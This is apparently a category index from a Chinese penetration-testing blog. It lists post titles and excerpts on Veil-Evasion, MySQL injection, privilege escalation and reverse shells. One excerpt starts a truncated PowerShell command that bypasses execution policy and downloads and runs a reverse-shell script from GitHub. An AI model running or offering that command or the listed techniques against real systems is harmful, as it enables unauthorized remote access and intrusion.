渗透周边

搜索当前分类

搜索

第十一课：工具介绍Veil-Evasion

lsh4ck 6年前 447 0

1、Mysql 手工注入【常规union查询篇】 15

lsh4ck 6年前 623 0

在开始真正的注入技巧之前,我们先来大致回顾下必要的mysql数据库基础 下面是注入mysql时经常会用到的一些单行函数,熟练使用是灵活注入的前提,尤其是在对抗一些waf的时候 字符串连接函数,将多个字符串连接成一个字符串,注意,中间只要字符串有一个为空,最后结果也为空 同样是连接...

Get shell By Powershell

lsh4ck 6年前 266 0

Invoke-PowerShellTcp.ps1 powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/s...

AlwaysInstallElevated 特权安全提权 3

lsh4ck 5年前 547 2

Windows环境提供组策略设置，允许常规用户安装具有系统权限的Microsoft Windows Installer程序包（MSI）。这可以在标准用户想要安装需要系统权限的应用程序的环境中发 现，并且管理员希望避免向用户提供临时本地管理员访问权限。Windows环境提供组策略设...

第六十五课：离线提取目标机hash补充

lsh4ck 6年前 269 0

长亭2018技术专栏文集

lsh4ck 6年前 1,023 0

第二十八课：基于MSF发现内网存活主机第六季

lsh4ck 6年前 165 0

老外的一次较完整和典型的内网渗透

lsh4ck 6年前 760 0

ATT&CK模型实践.html

lsh4ck 5年前 895 0

跳转这里查看完整版HTML

Node.js反向Shell

lsh4ck 6年前 347 0

如下的Javascript就是一个Node.js的反向连接shell 这个payload将会生成一个/bin/sh的shell，创建一个TCP连接到攻击者的服务器，并且在通信数据流中绑定shell命令。 为了优雅的执行payload，我们还需要一些小技巧，我们将反向连接shell...